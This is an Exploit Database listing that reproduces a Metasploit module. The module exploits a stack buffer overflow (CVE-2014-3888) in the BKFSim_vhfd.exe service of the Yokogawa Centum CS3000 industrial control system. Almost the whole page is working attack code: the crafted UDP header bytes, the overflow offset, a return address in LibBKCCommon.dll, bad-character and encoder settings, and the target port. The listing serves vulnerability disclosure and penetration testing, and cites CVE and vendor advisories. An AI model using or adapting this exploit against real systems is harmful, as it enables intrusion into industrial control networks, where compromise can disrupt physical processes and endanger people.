Yokogawa CS3000 – ‘BKFSim_vhfd.exe’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 21 阅读

• 作者： Metasploit
  日期： 2014-07-08
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/34009/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::Udp
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow',
  'Description'=> %q{
  This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability
  exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create
  logs using functions like vsprintf and memcpy in a insecure way. This module has been
  tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3.
  },
  'Author' =>
  [
  'Redsadic <julian.vilas[at]gmail.com>',
  'juan vazquez'
  ],
  'References' =>
  [
  ['CVE', '2014-3888'],
  ['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'],
  ['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'],
  ['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow']
  ],
  'Payload'=>
  {
  'Space'=> 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret)
  'DisableNops' => true,
  'BadChars' => "\x00",
  'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
  },
  'Platform' => 'win',
  'Targets'=>
  [
  [ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3',
  {
  'Ret'=> 0x61e55c9c, # push esp | ret # LibBKCCommon.dll
  'Offset' => 438
  }
  ],
  ],
  'DisclosureDate' => 'May 23 2014',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  Opt::RPORT(20010)
  ], self.class)
  end
  
  def exploit
  connect_udp
  
  sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header
  sploit << rand_text(target['Offset'])
  sploit << [target.ret].pack("V")
  sploit << payload.encoded
  
  print_status("Trying target #{target.name}, sending #{sploit.length} bytes...")
  udp_sock.put(sploit)
  
  disconnect_udp
  end
  
  end